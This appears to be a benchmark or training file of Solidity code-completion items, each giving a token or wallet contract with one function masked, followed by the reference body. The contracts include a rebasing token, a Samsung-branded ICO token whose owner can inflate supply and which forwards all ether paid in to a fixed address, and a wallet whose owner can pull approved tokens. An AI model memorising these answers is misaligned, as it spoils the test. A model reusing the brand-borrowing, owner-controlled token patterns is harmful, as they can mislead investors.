uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_SUPPLY = 2500000 * 10**DECIMALS;
uint256 private constant INITIAL_SHARES = (MAX_UINT256 / (10 ** 36)) - ((MAX_UINT256 / (10 ** 36)) % INITIAL_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalShares;
uint256 private _totalSupply;
uint256 private _sharesPerDefiInfastructedBase;
mapping(address => uint256) private _shareBalances;
// This is denominated in DefiInfastructedBaseToken, because the shares-DefiInfastructedBase conversion might change before
// it's fully paid.
mapping (address => mapping (address => uint256)) private _allowedDefiInfastructedBase;
bool public transfersPaused;
bool public rebasesPaused;
mapping(address => bool) public transferPauseExemptList;
function setTransfersPaused(bool _transfersPaused)
public
onlyOwner
{
transfersPaused = _transfersPaused;
}
function setTransferPauseExempt(address user, bool exempt)
public
onlyOwner
{
if (exempt) {
transferPauseExemptList[user] = true;
} else {
delete transferPauseExemptList[user];
}
}
function setRebasesPaused(bool _rebasesPaused)
public
onlyOwner
{
rebasesPaused = _rebasesPaused;
}
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
/**
* @dev Notifies DefiInfastructedBaseToken contract about a new rebase cycle.
* @param supplyDelta The number of new DefiInfastructedBase tokens to add into circulation via expansion.
* @return The total number of DefiInfastructedBase after the supply adjustment.
*/
function rebase(uint256 epoch, int256 supplyDelta)
external
returns (uint256)
{
require(msg.sender == monetaryPolicy, "only monetary policy");
require(!rebasesPaused, "rebases paused");
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_sharesPerDefiInfastructedBase = _totalShares.div(_totalSupply);
// From this point forward, _sharesPerDefiInfastructedBase is taken as the source of truth.
// We recalculate a new _totalSupply to be in agreement with the _sharesPerDefiInfastructedBase
// conversion rate.
// This means our applied supplyDelta can deviate from the requested supplyDelta,
// but this deviation is guaranteed to be < (_totalSupply^2)/(totalShares - _totalSupply).
//
// In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this
// deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is
// ever increased, it must be re-included.
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function totalShares()
public
view
returns (uint256)
{
return _totalShares;
}
function sharesOf(address user)
public
view
returns (uint256)
{
return _shareBalances[user];
}
function mintShares(address recipient, uint256 amount)
public
{
require(msg.sender == monetaryPolicy, "forbidden");
_shareBalances[recipient] = _shareBalances[recipient].add(amount);
_totalShares = _totalShares.add(amount);
}
function burnShares(address recipient, uint256 amount)
public
{
require(msg.sender == monetaryPolicy, "forbidden");
require(_shareBalances[recipient] >= amount, "amount");
_shareBalances[recipient] = _shareBalances[recipient].sub(amount);
_totalShares = _totalShares.sub(amount);
}
function initialize()
public
initializer
{
__ERC20_init("DefiInfastructedBase", "DEFIIB");
_setupDecimals(uint8(DECIMALS));
__Ownable_init();
_totalShares = INITIAL_SHARES;
_totalSupply = INITIAL_SUPPLY;
_shareBalances[owner()] = _totalShares;
_sharesPerDefiInfastructedBase = _totalShares.div(_totalSupply);
transfersPaused = true;
transferPauseExemptList[owner()] = true;
emit Transfer(address(0x0), owner(), _totalSupply);
}
/**
* @return The total number of DefiInfastructedBase.
*/
function totalSupply()
public
override
view
returns (uint256)
{
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
public
override
view
returns (uint256)
{
return _shareBalances[who].div(_sharesPerDefiInfastructedBase);
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
public
override(ERC20UpgradeSafe, ERC677)
validRecipient(to)
returns (bool)
{<FILL_FUNCTION_BODY> }
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
public
override
view
returns (uint256)
{
return _allowedDefiInfastructedBase[owner_][spender];
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
public
override
validRecipient(to)
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
_allowedDefiInfastructedBase[from][msg.sender] = _allowedDefiInfastructedBase[from][msg.sender].sub(value);
uint256 shareValue = value.mul(_sharesPerDefiInfastructedBase);
_shareBalances[from] = _shareBalances[from].sub(shareValue);
_shareBalances[to] = _shareBalances[to].add(shareValue);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
public
override
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
_allowedDefiInfastructedBase[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
_allowedDefiInfastructedBase[msg.sender][spender] = _allowedDefiInfastructedBase[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedDefiInfastructedBase[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
uint256 oldValue = _allowedDefiInfastructedBase[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedDefiInfastructedBase[msg.sender][spender] = 0;
} else {
_allowedDefiInfastructedBase[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedDefiInfastructedBase[msg.sender][spender]);
return true;
}
} | contract DefiInfastructedBaseToken is ERC20UpgradeSafe, ERC677Token, OwnableUpgradeSafe {
// PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH
// Anytime there is division, there is a risk of numerical instability from rounding errors. In
// order to minimize this risk, we adhere to the following guidelines:
// 1) The conversion rate adopted is the number of shares that equals 1 DefiInfastructedBase.
// The inverse rate must not be used--totalShares is always the numerator and _totalSupply is
// always the denominator. (i.e. If you want to convert shares to DefiInfastructedBase instead of
// multiplying by the inverse rate, you should divide by the normal rate)
// 2) Share balances converted into DefiInfastructedBaseToken are always rounded down (truncated).
//
// We make the following guarantees:
// - If address 'A' transfers x DefiInfastructedBaseToken to address 'B'. A's resulting external balance will
// be decreased by precisely x DefiInfastructedBaseToken, and B's external balance will be precisely
// increased by x DefiInfastructedBaseToken.
//
// We do not guarantee that the sum of all balances equals the result of calling totalSupply().
// This is because, for any conversion function 'f()' that has non-zero rounding error,
// f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn).
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
// Used for authentication
address public monetaryPolicy;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 9;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_SUPPLY = 2500000 * 10**DECIMALS;
uint256 private constant INITIAL_SHARES = (MAX_UINT256 / (10 ** 36)) - ((MAX_UINT256 / (10 ** 36)) % INITIAL_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalShares;
uint256 private _totalSupply;
uint256 private _sharesPerDefiInfastructedBase;
mapping(address => uint256) private _shareBalances;
// This is denominated in DefiInfastructedBaseToken, because the shares-DefiInfastructedBase conversion might change before
// it's fully paid.
mapping (address => mapping (address => uint256)) private _allowedDefiInfastructedBase;
bool public transfersPaused;
bool public rebasesPaused;
mapping(address => bool) public transferPauseExemptList;
function setTransfersPaused(bool _transfersPaused)
public
onlyOwner
{
transfersPaused = _transfersPaused;
}
function setTransferPauseExempt(address user, bool exempt)
public
onlyOwner
{
if (exempt) {
transferPauseExemptList[user] = true;
} else {
delete transferPauseExemptList[user];
}
}
function setRebasesPaused(bool _rebasesPaused)
public
onlyOwner
{
rebasesPaused = _rebasesPaused;
}
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
/**
* @dev Notifies DefiInfastructedBaseToken contract about a new rebase cycle.
* @param supplyDelta The number of new DefiInfastructedBase tokens to add into circulation via expansion.
* @return The total number of DefiInfastructedBase after the supply adjustment.
*/
function rebase(uint256 epoch, int256 supplyDelta)
external
returns (uint256)
{
require(msg.sender == monetaryPolicy, "only monetary policy");
require(!rebasesPaused, "rebases paused");
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_sharesPerDefiInfastructedBase = _totalShares.div(_totalSupply);
// From this point forward, _sharesPerDefiInfastructedBase is taken as the source of truth.
// We recalculate a new _totalSupply to be in agreement with the _sharesPerDefiInfastructedBase
// conversion rate.
// This means our applied supplyDelta can deviate from the requested supplyDelta,
// but this deviation is guaranteed to be < (_totalSupply^2)/(totalShares - _totalSupply).
//
// In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this
// deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is
// ever increased, it must be re-included.
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function totalShares()
public
view
returns (uint256)
{
return _totalShares;
}
function sharesOf(address user)
public
view
returns (uint256)
{
return _shareBalances[user];
}
function mintShares(address recipient, uint256 amount)
public
{
require(msg.sender == monetaryPolicy, "forbidden");
_shareBalances[recipient] = _shareBalances[recipient].add(amount);
_totalShares = _totalShares.add(amount);
}
function burnShares(address recipient, uint256 amount)
public
{
require(msg.sender == monetaryPolicy, "forbidden");
require(_shareBalances[recipient] >= amount, "amount");
_shareBalances[recipient] = _shareBalances[recipient].sub(amount);
_totalShares = _totalShares.sub(amount);
}
function initialize()
public
initializer
{
__ERC20_init("DefiInfastructedBase", "DEFIIB");
_setupDecimals(uint8(DECIMALS));
__Ownable_init();
_totalShares = INITIAL_SHARES;
_totalSupply = INITIAL_SUPPLY;
_shareBalances[owner()] = _totalShares;
_sharesPerDefiInfastructedBase = _totalShares.div(_totalSupply);
transfersPaused = true;
transferPauseExemptList[owner()] = true;
emit Transfer(address(0x0), owner(), _totalSupply);
}
/**
* @return The total number of DefiInfastructedBase.
*/
function totalSupply()
public
override
view
returns (uint256)
{
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
public
override
view
returns (uint256)
{
return _shareBalances[who].div(_sharesPerDefiInfastructedBase);
}
<FILL_FUNCTION>
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
public
override
view
returns (uint256)
{
return _allowedDefiInfastructedBase[owner_][spender];
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
public
override
validRecipient(to)
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
_allowedDefiInfastructedBase[from][msg.sender] = _allowedDefiInfastructedBase[from][msg.sender].sub(value);
uint256 shareValue = value.mul(_sharesPerDefiInfastructedBase);
_shareBalances[from] = _shareBalances[from].sub(shareValue);
_shareBalances[to] = _shareBalances[to].add(shareValue);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
public
override
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
_allowedDefiInfastructedBase[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
_allowedDefiInfastructedBase[msg.sender][spender] = _allowedDefiInfastructedBase[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedDefiInfastructedBase[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
uint256 oldValue = _allowedDefiInfastructedBase[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedDefiInfastructedBase[msg.sender][spender] = 0;
} else {
_allowedDefiInfastructedBase[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedDefiInfastructedBase[msg.sender][spender]);
return true;
}
} |
require(!transfersPaused || transferPauseExemptList[msg.sender], "paused");
uint256 shareValue = value.mul(_sharesPerDefiInfastructedBase);
_shareBalances[msg.sender] = _shareBalances[msg.sender].sub(shareValue);
_shareBalances[to] = _shareBalances[to].add(shareValue);
emit Transfer(msg.sender, to, value);
return true;
| function transfer(address to, uint256 value)
public
override(ERC20UpgradeSafe, ERC677)
validRecipient(to)
returns (bool)
| /**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
public
override(ERC20UpgradeSafe, ERC677)
validRecipient(to)
returns (bool)
|
39994 | SamsungBlockchainCryptocurrency | getTokens | contract SamsungBlockchainCryptocurrency is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Samsung Blockchain Cryptocurrency";
string public constant symbol = "SBC";
uint public constant decimals = 8;
uint public deadline = now + 150 * 1 days;
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 100 * 1 days;
uint256 public totalSupply = 865000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 50000e8;
uint public target0drop = 1;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0xB670d696696d06FB163925A4927282B18D3F85d6;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 265000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {<FILL_FUNCTION_BODY> }
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | contract SamsungBlockchainCryptocurrency is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Samsung Blockchain Cryptocurrency";
string public constant symbol = "SBC";
uint public constant decimals = 8;
uint public deadline = now + 150 * 1 days;
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 100 * 1 days;
uint256 public totalSupply = 865000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 50000e8;
uint public target0drop = 1;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0xB670d696696d06FB163925A4927282B18D3F85d6;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 265000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
<FILL_FUNCTION>
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} |
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 5 ether / 100;
uint256 bonusCond2 = 1 ether / 10;
uint256 bonusCond3 = 5 ether / 10;
uint256 bonusCond4 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3 && msg.value < bonusCond4){
countbonus = tokens * 35 / 100;
}else if(msg.value >= bonusCond4){
countbonus = tokens * 50 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 1e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
| function getTokens() payable canDistr public | function getTokens() payable canDistr public |
42341 | BitchipWallet | withdrawFrom | contract BitchipWallet is owned{
address private ETH = 0x0000000000000000000000000000000000000000;
using SafeMath for uint;
constructor() public {
}
function() external payable {
}
function withdrawToken(ERC20 token, uint amount, address sendTo) public onlyOwner {
token.transfer(sendTo, amount);
}
function withdrawEther(uint amount, address sendTo) public onlyOwner {
address(sendTo).transfer(amount);
}
function withdraw(address[] _to, address[] _token, uint[] _amount) public onlyOwner{
for(uint x = 0; x < _amount.length ; ++x){
require(_amount[x] > 0);
}
for(uint i = 0; i < _amount.length ; ++i){
_withdraw(_token[i], _amount[i], _to[i]);
}
}
function withdrawFrom(address[] _from, address[] _to, address[] _token, uint256[] _amount) public onlyOwner{<FILL_FUNCTION_BODY> }
function balanceOf(address coin) public view returns (uint balance){
if (coin == ETH) {
return address(this).balance;
}else{
return ERC20(coin).balanceOf(address(this));
}
}
function _withdraw(address coin, uint amount, address to) internal{
if (coin == ETH) {
to.transfer(amount);
}else{
ERC20(coin).transfer(to, amount);
}
}
} | contract BitchipWallet is owned{
address private ETH = 0x0000000000000000000000000000000000000000;
using SafeMath for uint;
constructor() public {
}
function() external payable {
}
function withdrawToken(ERC20 token, uint amount, address sendTo) public onlyOwner {
token.transfer(sendTo, amount);
}
function withdrawEther(uint amount, address sendTo) public onlyOwner {
address(sendTo).transfer(amount);
}
function withdraw(address[] _to, address[] _token, uint[] _amount) public onlyOwner{
for(uint x = 0; x < _amount.length ; ++x){
require(_amount[x] > 0);
}
for(uint i = 0; i < _amount.length ; ++i){
_withdraw(_token[i], _amount[i], _to[i]);
}
}
<FILL_FUNCTION>
function balanceOf(address coin) public view returns (uint balance){
if (coin == ETH) {
return address(this).balance;
}else{
return ERC20(coin).balanceOf(address(this));
}
}
function _withdraw(address coin, uint amount, address to) internal{
if (coin == ETH) {
to.transfer(amount);
}else{
ERC20(coin).transfer(to, amount);
}
}
} |
for(uint x = 0; x < _from.length ; ++x){
require(_amount[x] > 0);
}
for(uint i = 0; i < _from.length ; ++i){
ERC20(_token[i]).transferFrom(_from[i], _to[i], _amount[i]);
}
| function withdrawFrom(address[] _from, address[] _to, address[] _token, uint256[] _amount) public onlyOwner | function withdrawFrom(address[] _from, address[] _to, address[] _token, uint256[] _amount) public onlyOwner |
61540 | PugInu | balanceOf | contract PugInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Pug Inu';
string private _symbol = 'PUG';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {<FILL_FUNCTION_BODY> }
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
